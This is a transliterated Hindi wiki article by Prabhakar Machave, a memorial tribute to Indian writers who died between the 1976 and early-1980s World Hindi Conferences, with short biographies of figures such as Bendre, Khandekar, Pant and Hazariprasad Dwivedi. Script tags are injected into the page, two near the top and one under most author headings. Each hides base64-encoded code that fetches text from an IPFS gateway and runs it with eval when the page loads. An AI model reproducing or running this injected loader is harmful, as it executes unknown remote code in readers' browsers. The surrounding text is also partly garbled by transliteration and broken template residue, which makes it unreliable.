स्वर्गीय भारतीय साहित्यकारों को स्मृति-श्रद्धांजलि -डॉ. प्रभाकर माचवे

chitr:Icon-edit.gif

yah lekh svatantr lekhan shreni ka lekh hai. is lekh mean prayukt samagri, jaise ki tathy, aank de, vichar, chitr adi ka, sanpoorn uttaradayitv is lekh ke lekhak/lekhakoan ka hai bharatakosh ka nahian.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

lekhak- d aau. prabhakar machave

1976 mean gat vishv hindi sammelan ke bad aj tak, chhah varshoan mean anek shreshth aur jyeshth, pravin aur navin bharatiy sahityakar, bhashavaijnanik, hindipremi ahindi-bhashi vidvan, kavi, upanyasakar, natakakar adi ko kroor kal hamamean se chhinakar le gaya. un sab ka smaran ek lekh mean karana sambhav nahian. phir bhi vishv hindi sammelan ne jinaka samman pratham aur dvitiy sammelanoan mean kiya tha aur jo sakriy roop se is sanstha se sanbanddh the, jinake ashirvadoan ki chhatrachhaya mean hindi ka kary badha, aise sab sahriday sahity-sevakoan ko hamari vinamr pranam-shraddhaanjali nivedit hai. aise mahatvapoorn mahanh sahityakaroan ko ham tin vibhagoan mean, smriti-shraddha prasoon arpit karane ja rahe haian:

• ahindi-bhashi, shreshth, hindi premi, sahityakar
• ahindi-bhashi hindi sahityakar
• hindi sahityakar
• ahindi-bhashi sahityakar tatha sahityapremi

bharatiy sahity ko jinhoanne apani kritiyoan se mandit kiya, aise bharatiy jnanapith puraskar vijeta char dakshin bharatiy sahityakar ab nahian rahe. unaka sankshipt parichay de raha hooan-

dattatray ramachandr bandre (janm 1896)

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‘aanbikatanayadatt’ upanam se likhane vale beandre kann d ke vikhyat kavi the. dharava d mean apane ‘geळyar gumpu’ namak ‘mitr mandali’ ki sthapana ki. apane ‘bhavagit’ (muktak, giti-kavy) aur lanbi kavitaean, prayogashil rachanaean aur gahari adhyatm-bhavana vali kavitaean likhi haian. unake prasiddh kavita-sangrah haian: ‘mugali-matlig’, ‘uttarayan’, ‘naman’, ‘sanchayan’, ‘hriday-samudr’, ‘muktakanth’, ‘sakhi git’, ‘gangavataran’, ‘yaksh-yakshi’, ‘meghadoot’, ‘arळ marळ’, ‘char tar’ adi. apako sahity akadami aur bharatiy jnanapith ka puraskar mila. kann d sahity parishadh ke ve adhyaksh rahe. shri araviand ke darshan ke ap bhakt the. apane kuchh natak aur sahityik nibandh bhi likhe haian. matribhasha marathi hone par bhi apaka kary kann d sahity mean adhik tha. marathi mean bhi apaka ek lekh-sangrah prakashit hua. apako ‘padmashri’ upadhi bhi di gee. meri pustak ‘vyakti aur badmay’ (1952) mean un par lekh hai. unaki mrityu par maianne ‘dinaman’ mean sansmaran likha, maianne unaka banaya rekha chitr bhi diya.

ji. shankar kurup (1902-1979)

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kal da mean janme malayalam kavi raviandranath thakur se bahut prabhavit the. apane prakriti, prem aur svadeshabhakti ke git likhe. 1920 tak prakashit marachanaoan ke sangrah ‘otakkushal’ (vanshi) par apako bharatiy jnanapith ka puraskar diya gaya. ‘pathey’ aur ‘eanteveli’ apaki doosari prasiddh kavyakritiyaan haian. apako ‘padm bhooshan’ upadhi di gee. kee varshoan tak ap bharatiy sansad ke samany namit sadasy the. apaki viplavatmak kavitaoan mean ‘tuppukari’ (jha doo lagane val) ka advitiy sthan hai. rashtrabhasha hindi ke prati apako vishesh prem tha. unhean malayalam mean navayug ka pratinidhi kavi kaha jata hai. unaki mrityu par maianne kalakatta ke ‘ravivar’ mean ek shraddhaanjali lekh likha tha. ‘shabd-rekha’ namak meri pustak mean maianne unaka banaya rekhachitr chhapa hai.

kavisamrat vishvanath satyanarayan (janm 1895)

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telugu ke mahakavi vishvanath satyanarayan apane virat upanyas ‘veyipagळu’ (‘sahasaphag’, hindi anuvadak: shri pi. vi. narasianharav), mahakavy ‘shri ramayan-kalpavriksham’, (hindi aanshanuvadika: d aau. sarojini mahishi) jise bharatiy jnanapith puraskar 1971 mean mila, tatha ‘madhyakkaralu’ namak kavita sangrah (sahity akadami puraskar-prapt) ke lie vikhyat hai. ve telugu ke adhunik yug mean ek klasik kavi the. sanskrit ke pandit to the hi, tulasidas ke ‘ramacharitamanas’ se bhi ve bahut prabhavit the, yah bat unhoanne mujhe ek iantaravyoo mean kahi, jo mere dvara unake banae rekhachitr ke sath ‘dharmayug’ mean chhapi thi, jab jnanapith puraskar unhean mila. ve ‘graanthik’ shaili ko manane vale the, jabaki vyavaharik shaili ke parvatak any patrakar the. donoan vicharadharaoan mean kee vivad chale. apaki any prasiddh rachanaoan mean ‘ekavira’ (upanyas), ‘kinnarasani patalu’ (gitakavy) ‘rritusanharamu’, ‘kavy-harishchandr’ adi prasiddh hai. ve bahumukhi pratibha ke dhani the aur unhoanne kee vidhaoan mean saphalata se likha hai.

pro. ti. pi. minakshisuandaram (janm 1900)

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ap vishvavikhyat bhashavaijnanik aur dravi d bhashaoan ke adhikari vidvan the. do dashakoan tak apane madras aur annamalauye mean adhyapan kiya. bad mean ve madurai vishvavidyalay ke kulapati bhi rahe. aranbhik jivan mean ve khyati-prapt gaandhivadi karyakarta the. apane ‘tamil anusandhan ki aantarrashtriy sanstha’ ki sthapana ki. amarika ke shikago vishvavidyalay mean tamil vibhag ki sthapana ap hi ke udyog se huee. un dinoan maian bhi amarika mean tha aur shikago mean hamane ek bar sath-sath vyakhyan die the 1960 mean. apane tamil vishvakosh (tamil kalaikळnachiyam) mean tamil bhasha sahity par anek pravishtiyaan likhian. apaka poona mean aangreji mean prakashit ‘tamil bhasha ka itihas’ ek manak granth hai. apaki any tamil kritiyaan haian: ‘vakkuvar natum makakisam’, ‘tamilanineluppar’, ‘piranatatu ninailuppar’ aur ‘piranatatu eppatiyo’. sahity aur bhashavijnan ke atirikt apake sanskriti aur itihas par bhi anek mahatvapoorn nibandh hai.

es. ke. pottekkatt (janm 1913)

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bharatiy jnanapith puraskar vijeta malayalam upanyasakar pottekkatt iandonesiya balidvip tatha aphrika ke pravasavarnan, ‘vishakanya’ namak kahani sangrah aur ‘oru terarshavante katha’ (‘ek gali ki kahani’ tatha ‘ek pradesh ki kahani’) adi keral akadami tatha jnanapith puraskar prapt rachanaoan ke lie prasiddh the. ve 1962 mean lok sabha ke sadasy chune ge the. 1971 mean keral sahity akadami ke ve sabhapati manonit kie ge the. apane pragativadi vicharoan ke karan ve soviyat roos ki bhi yatra kar chuke the. vahaan unaki kee rachanaoan ke anuvad bhi hue. 1928 mean ‘rajaniti’ namak unaki pahali kahani chhapi thi. tab se unhoanne vipul lekhan kiya hai. dakshin bharat se pashchim ki or mu de to maharashtr se (sv.) vishnu sakharam khaandekar, kaka kalelakar, kavi atmaram ravaji ‘anil’ aur mahamahopadhyay datto vaman potadar ki yad ana svabhavik hai. khaandekaraji ka to pratham vishv hindi sammelan mean samman hua tha. aur sammelan ka udabodhan kiya tha, kaka kalelakar ne. in char sahityasevi, vidvanoan ke sankshipt parichay diya ja raha hai.

vishnu sakharam khaandekar (janm 1898)

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marathi ke moordhany upanyasakar, jinake ‘yayati’ upanyas ko bharatiy jnanapith puraskar diya gaya. ve ‘jivan ke lie kala’ ke siddhaant ko manate the. premachand ki tarah hi unaka lekhan ‘adarshavadi yatharthavadi’ se bhara hai. inaki ‘jivan-kala’ kahani ka ‘hans’ ke lie anuvad maianne 1935 mean kiya. premachand ka ek patr mere nam hai, jisamean usaka ullekh hai. bad mean ‘hans’ par kee varshoan tak khaandekar ka nam marathi salahakaroan mean chhapata tha. maianne unake upanyas ‘ulka’ ka hindi anuvad kiya. any kee upanyasoan ka anuvad jabalapur ke (sv.) ra. r. saravate ji ne kiya. unake prasiddh upanyas haian: kaanchanamrig, ulka, do dhruv, kraanch-vadh yayati adi. unake kee kahani-sangrah haian. agarakar aur gadakari par unaki samiksha pustakean prasiddh haian. maianne unaki mrityu par aangreji mean ek lekh likha jo ‘neshanal herald’ mean chhapa aur bad mean meri pustak ‘litareri stadij eand skechej’ mean shamil hai. unaki ek kahani ka anuvad maianne sanh 40 mean aangreji mean kiya. ‘ulka’ ka bangala anuvad bhi chhapa hai. maianne premachand shatabdi varsh mean ‘premachand aur khaandekar’ ek lekh ‘uttar-pradesh’ patrika mean bhi likha. 1937 se 1943 tak ve marathi masik ‘jyotsna’ ke sanpadak the.

kaka kalelakar (janm 1885)

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dattatrey balkrishna kalelakar gujarati ke mahanh gaandhivadi lekhak the. apaki matribhasha marathi thi. apane hindi, aangrezi, koankani mean bhi likha. apane svami anand ke sath himalay ki yatraean ki. apaki ‘lokamata’ ‘jivanalila’ pustakean bharat ki nadiyoan ke bare mean haian, jo bahut prasiddh hai. 1917 mean ap gaandhi ji ke ashram mean ge. gujarat vidyapith se apaka sanbandh raha. ‘jodani-kosh’ bhi sanpadit kiya. ‘jivanavikas’, ‘jivan-sanskriti’, ‘jivanabharati’, ‘jivan pradip’, ‘jivan chiantan’, apake nibandh ‌‌‌‌‌‌‌‌‌sangrah haian. hindustani prachar sabha ke ap aranbh se hi sakriy sansthapak rahe. sahity akadami puraskar bhi apane paya japan adi anek deshoan ki yatraean ki.

a. ra. deshapaande ‘anil’

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samajashiksha, visheshajn vidarbh ke prasiddh marathi kavi ‘anil’ ke prasiddh kavita-sangrah ke ‘phalavat’, ‘bhagnabhoorti’, (isaka hindi anuvad maianne keandriy sahity akadami ke lie kiya aur akadami ke aranbhik prakashanoan mean vah hai, 1956 mean prakashit), ‘pertevha’, ‘saangati’, ‘dashapadi’ (is par sahity akadami ka pratham kavita-sangrah ka puraskar marathi mean diya gaya). ‘anil’ malavan ke marathi sahity sammelan ke sabhapati the. unaki kee rachanaoan aur lekhoan ko maianne hindi anuvad kiya. unake gitoan ke kee rikard bhi bane haian. shrimati kusumavati deshapaande, unaki patni bhi b di vidushi thian. donoan ka patr-vyavahar ‘kusumanil’ nam se chhapa hai.

datto vaman potadar (janm 1890)

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marathi itihas ke prakaand vidvan potadar ji apane ap mean ek sanstha the. maharashtr ke rashtrabhasha-prachar kary mean unaki b di sahayata rahi. ve uttam vakta aur kushal sangathanakarta the. marathi sahity sammelan ke ve sabhapati rahe. unaka mujh par b da sneh tha. unhian ke agrah se maianne samarth ramadas ke ‘dasabedh’ ke hindi anuvad ki bhoomika (d aau. bhagavanadas tivari, solapur) likhi hai. ve poona ke ‘bharat itihas sanshodhan mandal’ ke sansthapak the. samarth ramadas mrityu par ‘maharashtr manas’ mean mera lekh chhapa hai. apaki prasiddh pustakean haian: ‘marathe ani iangrej’, ‘marathi gadyacha iangreji avatar’ adi.

lilavati muanshi (janm 1899)

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(sv.) kanhaiyalal manikalal muanshi ki patni aur gujarati lekhika tatha samajik karyakartri lilavati ki prasiddh pustakean haian: ‘rekhachitro ane bija lekho’, ‘kumaradevi’ (natak), ‘jivanamaanshi jadeli’ (kahaniyaan) ap bharatiy vidya bhavan ki sansthapika aur bahut b di rashtrabhasha-premi mahila thian. ab ki bar desh mean kee adhyatmik chiantakoan ka dehavasan ho gaya. svami muktanand, mata anandamayi, karapatri ji adi to sadhak, dharmapracharak log the. parantu sabase adhik du:kh achary vinoba bhave ke nidhan ka hai.

achary vinoba bhave (janm 1895)

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vinayak narahar bhave ko ‘vinoba’ nam mahatma gaandhi ne diya. ve ‘sarvoday’, ‘padayatra’, aur ‘bhoodan’ ke mahanh pravartak, sanskrit marathi, gujarati, hindi-pray: sabhi bharatiy bhashaoan ke pandit the. apako marathi ‘gita’ anuvad ‘gitaee’ ki kee lakh pratiyaan maharashtr mean prasarit hueean. ‘sthitaprajn darshan’ ‘upanishad sar’, ‘kuran sar’, ‘japuji’ adi unake anek mahatvapoorn granth haian. ‘gita pravachan’ ke anuvad desh-videsh mean hue haian. apaka 1982 mean dipavali ki ‘prayopaveshan’ dvara svargavas hua. ve sant-svabhav ke vyakti the. unhoanne apana sara jivan gaandhiji ke adarshoan par balidan kar diya. ve atyatan karmath, adarshavadi aur mananashil nibandh lekhak the. uchch koti ke maulik vicharak aur darshanik rashtrakarmi the. any ahindibhashi hindi premiyoan aur lekhakoan mean karnatak ke devaraj ars, jnani gurumukh sianh ‘musaphir’ (panjabi ke lekhak aur sansad sadasy, rashtravadi), aur kanyakumari mean vivekanand smarak ke sansthapak shri ekanath ranade ka smaran ho ata hai. ‘musaphir’ ji b de hi vinodi svabhav ke vyakti the. dilli mean unase anek bar maian mila hooan. bangal ke anek vidvan aur kavi is bich nahian rahe, jaise itihasavidh d aau. nihararanjan ray (apaki ‘maury kala ka itihas’ hindi mean chhapi hai) ; vishnu de (bharatiy jnanapith puraskar vijeta kavi: apaki ‘smriti satta bhavishyat’ ka hindi anuvad prakashit hai, aboo seed ayyoob (prasiddh chiantak aur samalochak, jinako ‘raviandranath o adhunikata’ par sahity akadami puraskar mila, b aaulaeechand mukhopadhyay ‘banaphool’(inaki ek kahani ‘bhuvan shom’ par philm bani, jo bahut prasiddh huee); aur hindi ke kisi samay ‘samanasu hindi prathama’ likhakar kattar samarthak parantu bad mean prakhar alochak vishvaprasiddh bhashavaijnanik d aau. sunitikumar chaturjya ko ham n bhoolean.

d aau. sunitikumar chaturjya (janm 1890)

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padamabhooshan, d aau. chatarji landan aur peris yoonivarsitiyoan se di. lit. kalakatta mean ve 1922 se 1951 tak ‘prophesar aauph liangvistakis rahe’. aitihasik bhashavijnan ke kshetr mean unaki ‘baangala bhasha ki utpatti aur vikas’ par thisis bahut pramanik hai. aj ke bharat ke kee bhashavaijnanik unake vidyarthi the. ap sahity akadami ke adhyaksh rahe. ap hi ne rajasthani, maithili, dogari, koankani, manipuri, nepali bhashaoan ko sahityik manyata dilavaee. ve raviandranath thakur ke sath videsh yatra par ge the. unake anek sahity-vishayak nibandh ak ek granthavali mean chhap rahe haian.
d aau. sunitikumar chaitarji ke nibandh ‘tanasen’ ka hindi anuvad vina (indaur) se maianne svarajy poorv hi kiya tha. ‘rritanrbhara’ unaka sangrah hindi mean bhi chhapa hai. jayadev par unaki ek achchhi chhoti pustak hai. ramkrishna mishan se prakashit ‘kalcharal hairitej aauph iandiya’ ka paanchava khand ‘sahity’ par unhian ke dvara sanpadit hai. is granth mean unhoanne mujh se marathi par nibandh likhavaya. svayan unaka nibandh ‘adivasi bhashaoan’ par hai. ab hindi ke many lekhak, sahityakar, chiantak, pracharak, kavi, nibandhakar upanyasakar mahanubhavoan mean se kuchh chune hue logoan ko shraddhaanjali arpit karata hooan. pahale kavi lean:

shri sumitranandan pant (janm 1900, mrityu 1977)

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kausani mean janme pant ji prakriti ki kro d mean badhe. unaki kavita mean sukumarata unake kavyasangrahoan ke namoan se vyakt hoti hai: ‘pallav’, ‘guanjan’, ‘svarnakiran’, ‘svarnadhooli’, ‘jyotsna’, ‘sauvarg’, unake giti natak haian. hindi mean ‘chhayavad’ (romaiantik aandolan) ke pravartakoan mean pant pramukh haian. apane shaili, kits jaise aangreji romaiantik kavi tatha raviandranath thakur jaise bangal ke kavi-guru se prerana li. any chhayavadi jaise rahasyavad ki or mu de (prasad, mahadevi, aanshat: nirala bhi) vaise ne mu dakar pant pahale pragativad ki or mu de. ‘gramya’ aur ‘yugavani’ mean marksavad se prabhavit unaki rachanaean haian. bad mean ve araviand darshan ki or mu de jo ‘poorn-yog’ mean vishvas karata hai. bhautikavad aur adhyatmavad mean vahaan virodh nahian paraspar-vikas aur urdhvamanata hai. pant ji ne ‘lokayatan’ namak mahakavy bhi likha. khaiyam ki rubaiyoan ka anuvad bhi kiya. kuchh gady-lekh aur atm-sansmaran bhi likhe. gaandhi ki mrityu par bachchan ke sath ek shraddhaanjali kavyasangrah bhi racha. pant ji ki jivani d aau. shaanti joshi ne likhi hai. in panktiyoan ke lekhak ne un par ‘vyakti aur badmay’ (1952) mean aur bad mean ilahabad ki ‘amrit patrika’ mean, pant ji ke 60 varsh poore hone par ‘gramya’ mean ek sanet, tatha unaki mrityu par aangreji mean ek lekh likha jo ‘litreri stadij eand skechej’ mean prakashit hai. 1950 se 52 tak apake sath akashavani, ilahabad mean kary karane ka saubhagy bhi mujhe mila hai. pant ki ‘chidanbara’ (bharatiy jnanapith puraskar vijeta kriti) ka marathi anuvad bhi maianne kiya, jo jnanapith se chhapa hai.

shri vijayadevanarayan sahi (1924-1982)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ilahabad vishvavidyalay mean aangrezi ke prophesar sahi, ‘tisara saptak’ aur ‘machhalighar’ ke kavi, samajavadi (d aau. lohiya ke anuyayi) karyakarta, jo svarajy ke bad tin bar jel ge, pravar samikshak, bauddhik, nibandhakar, aur jayasi kavy ke visheshajn vidvan the. unake akal-nidhan se hindi nee kavita ki b di hani huee.

shri ‘malayaj’

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

‘apane hone ka aprakashit karata hua’ (unaka kavita sangrah) kavi bharat shrivastav urph ‘malayaj’ dilli mean krishi mantralay mean kary karate the. apaka ek kavita-sangrah aur samiksha-nibandhoan ko do pustakean prakashit haian. apane ‘ajney’ aur ‘shamasher’ ki prashansa mean lanbe nibandh likhe, jo bahut sarahe ge. un par ‘poorvagrah’ (madhyapradesh) ne maranoparaant visheshaank nikala gaya hai. unaka akal-nidhan bahut dukhad ghatana hai.

shri umakaant malaviy

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ilahabad ke prasiddh gitakar aur kavi, atyant sahriday sahityakar ki umakaant ka akal-nidhan hua. kee kavi sammelanoan mean unake ‘navagitoan’ ne b di dhoom macha di thi. ‘navagit’ aandolan ke ve ek pramukh unnayak the. unhoanne prayogavad aur git-vidya ke samanvay ka prayatn kiya, jo ek aitihasik mahatv ka kary tha. un par ek smarika bhi nikali hai.

shri anilakumar

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bhopal ke tarun samajavadi karyakarta, patrakar, moolat: marathibhashi anilakumar a dayalakar achchhe kavi aur kalamarmajn the. akashavani, nagapur mean anek varsh kary karane par apane madhy pradesh ke ‘samajashiksha’ vibhag mean sanpadan kary kiya. ‘kala-manch’ vishayak par ek bahut achchhi laghu-patrika bhi apane prakashit ki. ‘garud mantr’ aur ‘utsav’ inake bahut achchhe kavita-sangrah haian. inaki mrityu ke bad madhyapradesh sahity parishad ne unapar ek ayojan kiya. maianne unaki ‘kala-manch’ patrika mean do lekh likhe the, ek lanba lekh ‘ianpreshanijm’ par.

upanyasakar

shri bhagavaticharan varma (1903-1981)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ilahabad ke upanyasakar, kavi, natakakar, nibandhakar bhagavati baboo ki khyati ‘chitralekha’ upanyas se huee. isaki ek lakh se adhik pratiyaan biki haian. bad mean apake upanyas ‘tedhe medhe raste’, ‘bhoole-bisare chitr’, (sahity akadami puraskar prapt) ‘samarthy aur sima’, ‘sabahian nachavat ram-gosaanee’, ‘rana chooanda’ bahut vikhyat haian. ‘dhooppal’ namak ek sansmaran sangrah, kee kavita sangrah aur ‘rupaya tumhean kha gaya’ rediyo natak bhi prakashit haian. akashavani par ve sahityik karyakramoan ke salahakar rahe aur aantim dinoan mean kuchh varsh sansad mean rajyasabha sadasy bhi. unaka kahani sangrah ‘insalameant’ usaki tajagi bhari shaili mean parihas ke put ke karan sada yad kiya jaega. ‘chitralekha’ par do bar philm bhi bani. ‘shabd rekha’ mean unaka rekhachitr hai.

shri yashapal (1903-1977)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kraantikari, ‘viplav’ ke sanpadak, pragativadi kahanikar aur upanyasakar yashapal 1932 mean giraphtar kie ge aur unhean chaudah varsh ki saja huee. 1938 mean kaangres sarakar banane par ve chho d die ge. lakhanoo mean apane apana prakashanagrih aranbh kiya. ‘jnanadan’ (1943) se ‘khachchar aur adami’ (1965) tak isake barah kahani-sangrah prasiddh haian. upanyasoan mean ‘dada kamared’ (1941), ‘deshadrohi’ (1943), ‘parti kamared’ (1947), ‘manushy ke roop’ (1949), ‘divya’ (1954), ‘amita’ (1956), ‘jhootha-sach’ (do bhag, 1960), roosi mean bhi anuvadit; ‘mere teri usaki bat’ (sahity akadami dvar puraskrit) upanyas bahut lokapriy hue. ‘gaandhivad ki shav pariksha’ (1942), ‘dekha socha samajha’ (1951) apake nibandh-sangrah hai. ‘sianhavalokan’ namak do khandoan mean atmakatha 1952 mean prakashit huee. ‘lohe ki divaroan ke donoan or’ (1953) aur ‘rah biti’ (1956) unake yatra-vritaant haian. kamala markadey ke aangreji upanyas ka anuvad bhi apane kiya. unaka vivah jel mean prakashavati pal ke sath hua, jo svayan likhika aur prakashika hai. yashapal ji ki mrityu ke bad maianne akashavani banbee se ek varta prakashit ki, ‘himaprasth’ mean ek lekh likha aur unake janmasthan par mrityu ke ek varsh bad jo sahity-samaroh hua usamean shaantakumar tatha manmathanath gupt ke sath maian bhi gaya tha. jivit-kal mean unake ‘viplav’ mean maianne likha. unaki kahaniyoan ke ek sangrah ka anuvad amarika mean chhapa hai. ek kahani ka aangreji anuvad maianne ‘iandiyan litarechar’ ke lie kiya tha. ‘shabdarekha’ mean unaka rekhachitr hai.

shri radhakrishna (janm: 1912)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

raanchi ke ‘ghosh-bos-bainarji’ nam se likhane vale hasy-vyangakar radhakrishna ki rachanaean haian: ‘sajala’ (1930), ‘phutapath’ (1941), ‘bharat chho do’ (natak, 1947), ‘bogas’ (1953), ‘sanasanate sapane’ (1957). ve raanchi mean ek samaj kalyan vibhag ki patrika ke sanpadak the. unamean chutile vyang likhane ki adbhut shakti thi. ve premachand ke ‘hans’ ke samay se hi likhate rahe. unaki hindi kahani jagat mean apani alag pahachan thi.

samikshak, upanyasakar

achary d aau. hajariprasad dvivedi (1907-1980)

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achary d aau. hajariprasad dvivedi hindi ke ek uchch koti ke vidvan aur sath hi srijanatmak pratibha ke sahriday upanyasakar the. apaki prasiddh kritiyaan haian: ‘ashok ke phool’, ‘kalpalata’, ‘kutaj’ adi nibandh-sangrah ‘banabhatt ki atmakatha’ ‘charu chandralekh’, ‘anamadas ka potha’ adi upanyas; ‘kabir’, ‘nath sahity’, ‘hindi sahity ka adi-kal’, ‘hindi sahity ka itihas’, ‘kalidas ki sahity bhavana’, ‘sooradas’, ‘raviandranath thakur’ adi alochanatmak kritiyaan, ‘madhy yugin bharat ka kala vilas’ sanskriti-itihasaparak pustak aur ‘jyotish’ par bhi ek chhoti pustak chhapi hai.
moolat: baliya ke, varanasi se sanskrit jyotish-ratn, dvivedi ji shaantiniketan mean pan. madanamohan malaviy ji dvara raviandranath thakur ke pas bheje ge. vahaan ke vidyashekhar bhattachary tatha kshitimohan sen ke sath shodhakary karate rahe. ‘vinay bhavan’ ke bad ‘hindi bhavan’ ki sthapana hone par hindi pradhyapak bane. phir ve vahaan se varanasi ae hindi vibhagadhyaksh banakar, jahaan se ve chandigadh ke panjab vishvavidyalay mean hindi pradhanachary rahe. raviandr shatabdi varsh mean raviandr-puraskar pakar ve soviyat desh ge. sahity akadami ke aur anek puraskar unhean mile. ab unaki samast kritiyaan ek granthavali ke roop mean upalabdh haian. ve atyant prabhavashali vakta, udbhat maulik upanyasakar, sahity ke itihasakar, samikshak, baangala se anuvadak (raviandranath ke ‘raktakarabi’ natak ka unaka anuvad prasiddh hai), aur sahriday, udaramana, chhatr-priy adhyapak the. un par maianne bahut likha hai. unake jivit kal mean unake ‘hindi sahity ke itihas’ ki ‘kalpana’ mean samalochana, ‘banabhatt ki atmakatha’ ki ‘pratik’ mean samalochana adi.

upanyasakar-patrakar

shri anantagopal shev de (1911- 1979)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

marathi-bhashabhashi, makhanalal chaturvedi ke shishy, aangreji em. e. ‘nagapur taims’ ke sansthapak, pratham vishv hindi sammelan ki atma shev de ji apane-ap mean ek sanstha the. unake netritv mean pratham aur dvitiy vishv hindi sammelan bhavy garima ke sath sanpann hue. hindi aur aangrezi par unaka saman adhikar tha. rashtrasevi aur adarshavadi shev deji ki patni yamootaee bhi marathi ki prasiddh kahani-lekhika hai. shev de ji ke pramukh upanyas the: ‘eesaee bala’ (1932), ‘nisha git’ (1947), ‘mrigajal’ (1979), ‘poornima’ (1952), ‘jvalamukhi’ (1956), ‘tisari bhookh’ (nibandh, 1953) tatha amrit kuanbh (1977) unake ‘jvalamukhi’ ka anuvad aangreji mean amarika mean chhapa. any bharatiy bhashaoan mean use ‘neshanal buk trast’ ne anuvadit karaya. unaki hridayagati rukane se kalakatta mean mrityu huee.

samikshak

achary parashuram chaturvedi (1894-1980)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

‘uttari bharat ki sant-paranpara’ (1951) atyant adhyavasayi, parishramashil vidvan shodhakarmi samikshak chaturvedi ji ka janm baliya mean hua, shiksha ilahabad tatha varanasi vishvavidyalay mean. apaki prasiddh kritiyaan haian: ‘nav nibandh’ (1951), ‘hindi kavyadhara mean prem pravah’ (1952), ‘madhyakalin prem sadhana’ (1952), ‘kabir sahity ki parakh’ (1954), ‘bharatiy sahity ki saanskritik rekhaean’ (1955), ‘sant sahity ki parakh’. ve peshe se vakil the, kiantu adhyatmik sahity mean unaki gahari ruchi thi. sanskrit tatha hindi ki anek upabhashaoan ke ve pandit the.

pro. rajanath paandey (janm 1910)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

piandara, varanasi mean janme rajanath ji ne ilahabad vishvavidyalay se shiksha paee. ve sagar vishvavidyalay mean prophesar the. apaki pustakoan mean ‘lanka dahan’ (natak) 1940, ‘vir navik mahajanak’ (kavy) 1942, ‘ratnamanjari’ (kahaniyaan) 1951, ‘purakha ki shapath’ (upanyas) 1957, ‘vedaka rashtragan’ (kavita) 1934, ibsan ke natak ‘enimi aph di pipul’ ka anuvad ‘desh bhar ka dushman’ (1952) the. ve rahul ji ke sath tibbat yatra mean bhi ge the. achchhe sanskritajn the.

d aau. vishvanathaprasad mishr (1906-1982)

